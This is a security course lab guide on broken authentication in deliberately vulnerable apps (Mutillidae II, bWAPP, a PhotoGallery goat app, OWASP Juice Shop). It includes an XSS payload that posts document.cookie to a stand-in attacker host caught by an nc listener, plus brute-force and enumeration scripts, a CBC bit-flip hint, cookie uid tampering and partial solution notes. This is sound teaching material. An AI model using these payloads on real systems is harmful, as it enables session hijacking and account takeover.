Broken Authentication

Lecture Notes

This lecture will present an overview over issues with authentication methods, especially session handling in Web applications.

Download here

Practical tasks

The objective of this lab is to explore the Broken Authentication exercises in bWAPP and the OWASP Mutillidae II application. It is required the use of the OWASP ZAP or Burp Suite. If you do not have a license for the Burp software, OWASP ZAP with most of the addons available in the marketplace will be a better option.

This guide will provide you with hints, but not the answers. While doing the exercises, do a write up of what you find, the reason why it happens and the impact of it.

Mutillidae II

Setup

To install Mutillidae II, do the following:

git clone https://github.com/webpwnized/mutillidae-dockerhub.git
cd mutillidae-dockerhub
docker-compose up -d

Then head to http://localhost . There will be an error, regarding the database, which is expected. Click the link to setup the database.

Activities

The application is vulnerable and the vulnerabilities are present almost over the application. The left menu allows getting some information or hints which may be useful. The objective of this lab is to cover the OWASP 2017 - A2 Broken authentication exercises. They cover basic errors present on standard applications, either in this form or other form, but always sharing similar principles.

The exercises are split into Authentication Bypass, Privilege Escalation and User Enumeration.

User Enumeration

These exercises are important as they are related to a behavior that is very common on the internet. Differentiated feedback based on the existence of a user. If the user exists the login form provides a message stating that the password is incorrect. If the user doesn’t exist the login form provides a message stating that the user is not found. With tools, this allows for rapid enumeration of all users.

The vulnerability can be explored with three methods: the login form, a SOAP interface and a REST interface.

In the description of CWE-204, you can find the typical code that results in this issue:

my $username=param('username')
-
my $password=param('password')
-

if (IsValidUsername($username) == 1) {
	if (IsValidPassword($username, $password) == 1) {
		print "Login Successful"
-
	} else {
		print "Login Failed - incorrect password"
-
	}
} else {
	print "Login Failed - unknown username"
-
}

In this case, the system is providing information to an attacker, allowing user enumeration. The correct implementation should provide a binary answer (Success or Fail), without further information or further Errors.

Explore the three methods, focusing on detecting how enumeration or brute forcing is possible. For the login form you can post the login form using python requests:

import requests
url ='http://localhost/index.php?page=login.php'
headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Referer': 'http://localhost/index.php?page=login.php', 'Origin': 'http://localhost'}

session = requests.Session()
response =session.post(url, headers=headers, data='redirectPage=&username=USERNAME&password=PASSWORD&login-php-submit-button=Login')
print(response.content.decode()[:200])                                          

For the SOAP Interface you can follow the same apporach, but you need to send a SOAP` query. Information regarding the format is here: http://localhost/webservices/soap/ws-user-account.php while documentation is here: http://localhost/webservices/soap/docs/ws-user-account.html

import requests
url="http://localhost/webservices/soap/ws-user-account.php"
headers = {'content-type': 'text/xml', 'SOAPAction': "urn:ws-user-account#getUser"}

# for username in userlist...		'
body = f'<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"\
            xmlns:urn="urn:ws-user-account">\
   			<soapenv:Header/>\
   				<soapenv:Body>\
      				<urn:getUser>\
         				<username>username</username>\
      				</urn:getUser>\
   				</soapenv:Body>\
			</soapenv:Envelope>\

response = requests.post(url,data=body,headers=headers)
print(response.content)

For the REST Interface, follow the same approach, using a simple GET over http://localhost/webservices/rest/ws-user-account.php?username=USERNAME

Tasks:

  • Explore the examples provided in order to brute force one existing account. Observe how enumeration can facilitate the brute force attack.

Cookie Manipulation

The next exercise focus on the cookie itself, and for an attacker to obtain the cookie. Follow the hints there, in particular the XSS as it may allow stealing someones cookie. Most importantly, observe the cookies set in your browser (Dev Tools -> Storage). You can directly manipulate the values and see the impact into the webpage. Developers frequently “trust” cookies because they are set in the server side, but they ignore that clients can freely manipulate them.

The website cookie has the following format: Cookie security_level=0; language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; PHPSESSID=c0odnab19i5r2jusvqnfra8csn; showhints=1

If and attacker is able to get the PHPSESSID of an authenticated user (the victim), the attacker will be able to impersonate the user.

A danger lies in attacks such as XSS, expecially if the attacker is able to provide a payload that is activated in a different user browser. The typical scenario can be exploited in http://localhost/index.php?page=add-to-your-blog.php (XSS -> Persistent Second Order -> Add to Blog). An attacker can craft a message that posts the document.cookie to a rogue server.

Use the following payload and add a message. Then check the blog. To make this attack practical, you need to have an application listening at the destination address (e.g., nc -lvp 8081)

<script>
fetch('http://attacker-controlled-domain:8081', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

Authentication Bypass due to Wrong Ciphermodes

These exercises focus on getting one account (Use the Register option) which can then be escalated to a user with higher privileges. The user admin is present in this system and will be the target to explore.

A particular aspect of the authentication method used in the CBC bitflip exercise is particularly interesting. Sometimes it is required to add permission information to cookies. This is relevant when the cookies are used in multiple systems, which have a trust relationship, but do not share session information. One of the standard approaches for this is using JWT, but others may be used. The method used here is insecure, and demonstrates what happens when developers rapidly deploy custom secure methods.

The URL in this exercise is: http://localhost/index.php?page=view-user-privilege-level.php&iv=6bc24fc1ab650b25b4114e93a98f1eba

Notice that there is an IV argument that is passed to the client. When exploring this vulnerability through CBC bit flip consider the operation of the CBC mode in block ciphers. You can notice that the IV is simply XORed to the cryptogram after decryption. Because the IV is public, it allows an attacker to predictively modify the final text. In this case, the permissions are decrypted using the IV in the argument.

Task:

  • Do small variations to the IV and see what happens.
  • Determine which bits impact the permissions and get root

We created a goat application that has a vulnerable autentication check and attackers can bypass the controls in use.

PhotoGallery

Setup

Get the file from here, build the container and run it.

docker build -t photogallery .
docker run -ti --rm -p 5000:5000 photogallery

Then head to http://localhost:5000 and access the webpage.

Sometimes we see developers signing their cookies with a shared secret. However, instead of using secure methods, such as JWT, (again) they use crafted signing processes.

Consider the following code Python in the application backend.

app_key = os.urandom(16)
...

def get_cookie(app_key, username):
    val = f'username={username}'
    cookie = b64e(val.encode()) + b"." + calculate_signature(app_key, val.encode())

    return cookie

def calculate_signature(app_key, data):
    hash = sha256()

    hash.update(app_key + data)
    h = hash.digest()

    return b64e(h)

In this snippet, the signature is SHA256(secretkey | cookie), and the cookie format is base64(username=string).base64(signature). An attacker cannot change the cookie, because he cannot access the secretkey. Therefore he cannot compute the new signature. The app_key is a random sequence.

However, because the SHA-1 and SHA-2 family of digests use the Merkle–Damgård construction, they are vulnerable to an attack called Length Extension Attack. This attack allows an actor to change the data and calculate a new valid signature, without knowing the server secret key.

Asymmetric cryptography to sign keys is not vulnerable, as well as SHA-3 and should be used. More importantly, JWT and other well adopted technologies should preferred as they had more thoughtfully tested.

Check the code on this repository

Then head to the Photo Gallery application in the internal environment and get admin rights. For this purpose, analyse the cookie returned and add new data in order to force the admin user.

bWAPP

Select Broken Auth. — Insecure Login Forms. This bug could be silly but to create cognizance, one must sift through the page source to find sensitive information. So, when you view the page source (right click on page and select view page source), you should see the user credentials stored in the HTML. This allows hackers to gain authentication with ease, anyway this won’t be the case in the real world, you may see this rarely, but sometimes it happens. It is more frequent to find keys to APIs and credentials to APIs. But some information may also be in the comments. ZAP will show this in the HUD.

Now we will see another code level flaw, select Session Mgmt. — Administrative Portals and set security level to low. If you notice the URL /bWAPP/smgmt_admin_portal.php?admin=0__ there’s a string appended after the ? with a value 0, which means the session ID was passed in the query string where anyone could see and manipulate the values. See what happens when it is modified.

Now look at the bug Session Mgmt. — Session ID in URL

Now, set the security level to medium in Administrative Portals page and refresh the page (CTRL+R). If you notice the URL, there’s no query string with admin. So, was that bug fixed? No, as a security analyst you should always look for numerous ways to find the flaw, in simple words just think like a developer, how did he fix that. Especially how did he fix that without much effort?

HINT: Check the cookies.

The other most common vulnerability is incorrect logout management. Select the bug Broken Auth. — Logout Management and click on here link displayed in the page

Once you click on Yes you will be redirected to Login page. But session is still alive. Just click on Browser back button, you will be redirected to /bWAPP/ba_logout.php page. Hence an attacker can easily perform session fixation attack. Can you find how?

Correlate what you found with the source code available at the SonarCloud analysis.

Task:

  • After executing the exercises in this application, what are the associated CWEs?

Juice Shop

This guide is provided by OWASP as part of their official documentation and is replicated here for convenience and longer term archival.

Reset the password of Bjoern’s OWASP account via the Forgot Password mechanism

This challenge is not about any technical vulnerability. Instead it is about finding out the answer to user Bjoern’s chosen security question and use it to reset the password of his OWASP account.

Many website registrations use security questions for both password retrieval/reset and sign-in verification. Some also ask the same security questions when users call on the phone. Security questions are one method to verify the user and stop unauthorized access. But there are problems with security questions. Websites may use poor security questions that may have negative results:

The user can’t accurately remember the answer or the answer changed, The question doesn’t work for the user, The question is not safe and could be discovered or guessed by others. It is essential that we use good questions. Good security questions meet five criteria. The answer to a good security question is:

  • Safe: cannot be guessed or researched
  • Stable: does not change over time
  • Memorable: can remember
  • Simple: is precise, easy, consistent
  • Many: has many possible answers

It is difficult to find questions that meet all five criteria which means that some questions are good, some fair, and most are poor. In reality, there are few if any GOOD security questions. People share so much personal information on social media, blogs, and websites, that it is hard to find questions that meet the criteria above. In addition, many questions are not applicable to some people

  • for example, what is your oldest child’s nickname – but you don’t have a child.

Hints to the answer to Bjoern’s question can be found by looking him up on the Internet. More precisely, Bjoern might have accidentally (😜) doxxed himself by mentioning his security answer on at least one occasion where a camera was running. Brute forcing the answer might be very well possible with a sufficiently extensive list of common pet names. Doxing (from dox, abbreviation of documents) or doxxing is the Internet-based practice of researching and broadcasting private or identifiable information (especially personally identifiable information) about an individual or organization.

The methods employed to acquire this information include searching publicly available databases and social media websites (like Facebook), hacking, and social engineering. It is closely related to Internet vigilantism and hacktivism.

Doxing may be carried out for various reasons, including to aid law enforcement, business analysis, risk analytics, extortion, coercion, inflicting harm, harassment, online shaming, and vigilante justice.

Change Bender’s password into slurmCl4ssic without using SQL Injection or Forgot Password

This challenge can only be solved by changing the password of user Bender into slurmCl4ssic. Using any sort of SQL Injection will not solve the challenge, even if the password is successfully changed in the process. Beating Bender’s security question to change his password also does not suffice to solve this challenge!

In previous releases of OWASP Juice Shop this challenge was wrongly accused of being based on Cross-Site Request Forgery. It might also have been put into the Improper Input Validation category. Bender’s current password is so strong that brute force, rainbow table or guessing attacks will probably not work. A rainbow table is a precomputed table for reversing cryptographic hash functions, usually for cracking password hashes. Tables are usually used in recovering a plaintext password up to a certain length consisting of a limited set of characters. It is a practical example of a space/time trade-off, using less computer processing time and more storage than a brute-force attack which calculates a hash on every attempt, but more processing time and less storage than a simple lookup table with one entry per hash. Use of a key derivation function that employs a salt makes this attack infeasible

Log in with Chris’ erased user account

This challenge is about loggin in with the account of a user who previously insisted on his “right to be forgotten” in accordance with Art. 17 GDPR.

Trying out the Request Data Erasure functionality might be interesting, but cannot help you solve this challenge in real time. If you have solved the challenge Retrieve a list of all user credentials via SQL Injection you might have already retrieved some information about how the Juice Shop “deletes” users upon their request. What the Juice Shop does here is totally incompliant with GDPR. Luckily a 4% fine on a gross income of 0$ is still 0$. Log in with Bjoern’s Gmail account The author of the OWASP Juice Shop (and of this book) was bold enough to link his Google account to the application. His account even ended up in the initial user records that are shipped with the Juice Shop for your hacking pleasure!

If you do not see the Log in with Google button, do not despair! The hostname your Juice Shop is running on is simply not configured in the OAuth integration with Google. The OAuth-related challenges are still solvable! It might just take a little bit more detective work to find out how an OAuth login is handled.

You can always use the official demo instance at http://demo.owasp-juice.shop to play with Google login and learn how it works there, then apply what you learned on your local instance.

  • There are essentially two ways to light up this challenge in green on the score board:
    • In case you, dear reader, happen to be Bjoern Kimminich, just log in with your Google account to automatically solve this challenge! Congratulations!
    • Everybody else might want to take detailed look into how the OAuth login with Google is implemented.
  • It could bring you some insight to register with your own Google account and analyze closely what happens behind the scenes.
  • The security flaw behind this challenge is 100% Juice Shop’s fault and 0% Google’s.

The unremarkable side note without hacking his Google account in the challenge description is not a joke. Please do not try to break into Bjoern’s (or anyone else’s) Google account. This would be a criminal act.

Log in with the administrator’s user credentials without previously changing them or applying SQL Injection You might have already solved this challenge along with Log in with the administrator’s user account if you chose not to use SQL Injection. This challenge can only be solved if you use the original password of the administrator. If you changed the password previously, do not despair: The original password will always be accepted to make sure you can solve this challenge.

  • Guessing might work just fine.
  • If you harvested the admin’s password hash, you can try to attack that.
  • In case you use some hacker tool, you can also go for a brute force attack using a generic password list

Reset Bender’s password via the Forgot Password mechanism

This challenge is about finding the answer to user Bender’s security question. It is probably slightly harder to find out than Jim’s answer.

  • If you have no idea who Bender is, please put down this book right now and watch the first episodes of Futurama before you come back.
  • Unexpectedly, Bender also chose to answer his chosen question truthfully.
  • Hints to the answer to Bender’s question can be found in publicly available information on the Internet.
  • If a seemingly correct answer is not accepted, you might just need to try some alternative spelling.
  • Brute forcing the answer should be next to impossible.

Reset the password of Bjoern’s internal account via the Forgot Password mechanism

This challenge is about finding the answer to the security question of Bjoern’s internal user account bjoern@juice-sh.op.

  • Other than with his OWASP account, Bjoern was a bit less careless with his choice of security and answer to his internal account.
  • Bjoern chose to answer his chosen question truthfully but tried to make it harder for attackers by applying sort of a historical twist.
  • Again, hints to the answer to Bjoern’s question can be found by looking him up on the Internet.
  • Brute forcing the answer should be next to impossible.

Reset Jim’s password via the Forgot Password mechanism

This challenge is about finding the answer to user Jim’s security question.

  • The hardest part of this challenge is actually to find out who Jim actually is
  • Jim picked one of the worst security questions and chose to answer it truthfully
  • As Jim is a celebrity, the answer to his question is quite easy to find in publicly available information on the internet
  • Even brute forcing the answer should be possible with the right kind of word list

Solve the 2FA challenge for user “wurstbrot”

Multi-factor authentication (MFA) is an authentication method in which a computer user is granted access only after successfully presenting two or more pieces of evidence (or factors) to an authentication mechanism: knowledge (something the user and only the user knows), possession (something the user and only the user has), and inherence (something the user and only the user is).

Two-factor authentication (also known as 2FA) is a type, or subset, of multi-factor authentication. It is a method of confirming users’ claimed identities by using a combination of two different factors: 1) something they know, 2) something they have, or 3) something they are.

A good example of two-factor authentication is the withdrawing of money from an ATM

  • only the correct combination of a bank card (something the user possesses) and a PIN (something the user knows) allows the transaction to be carried out.

Two other examples are to supplement a user-controlled password with a one-time password (OTP) or code generated or received by an authenticator (e.g. a security token or smartphone) that only the user possesses.

In the Juice Shop one customer was very security-aware and set up 2FA for his account. He goes by the hilarious username wurstbrot.

  • As always, first learn how the feature under attack is used and behaves under normal conditions.
  • Make sure you understand how 2FA with TOTP (time-based one-time password) works and which part of it is the critically sensitive one.
  • Solving the challenge Retrieve a list of all user credentials via SQL Injection before tackling this one will definitely help. But it will not carry you all the way.

Username Enumeration Response varies wether the username exists or not “Account does not exist” vs “Password incorrect”

Do request, fuzz

Username Enumeration - SOAP Service

Do request, edit, fuzz, load wordlist

POST /webservices/soap/ws-user-account.php HTTP/1.1 Accept-Encoding: gzip,deflate Content-Type: text/xml -charset=UTF-8 Content-Length: 458 Host: localhost Connection: Keep-Alive User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

<soapenv:Envelope xmlns:xsi=“http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd=“http://www.w3.org/2001/XMLSchema" xmlns:soapenv=“http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn=“urn:ws-user-account”> soapenv:Header/ soapenv:Body <urn:getUser soapenv:encodingStyle=“http://schemas.xmlsoap.org/soap/encoding/"> Jeremy </urn:getUser> </soapenv:Body> </soapenv:Envelope>

Username Enumeration - REST Service

GET http://10.50.0.9:9000/webservices/rest/ws-user-account.php?username=adrian HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0

  • Win64
  • x64
  • rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html,application/xhtml+xml,application/xml -q=0.9,image/webp,/ -q=0.8 Accept-Language: en-US,en -q=0.5 Connection: keep-alive Cookie: PHPSESSID=3fq0oe9bpi210tkrktr532aak5
  • showhints=1 Upgrade-Insecure-Requests: 1 Host: 10.50.0.9:9000

_Authentication Bypass

Cookies

Use XSS attack to steal cookie

pc local nc -v 10.105.0.2 8080

Privilege Escalation

Cookie: PHPSESSID=3fq0oe9bpi210tkrktr532aak5

  • showhints=1

after login with user test Cookie: PHPSESSID=3fq0oe9bpi210tkrktr532aak5

  • showhints=1
  • username=test
  • uid=24 Modificar uid para outro valor inteiro: p.ex 1 = admin Dev tools, Storage, modify uid

CBC bit flip modify the value of the IV argument, one bit at a time Check CBC mode result=6bc24fc1aa650b24b4114e93a98f1

External Exercises

Previous
Next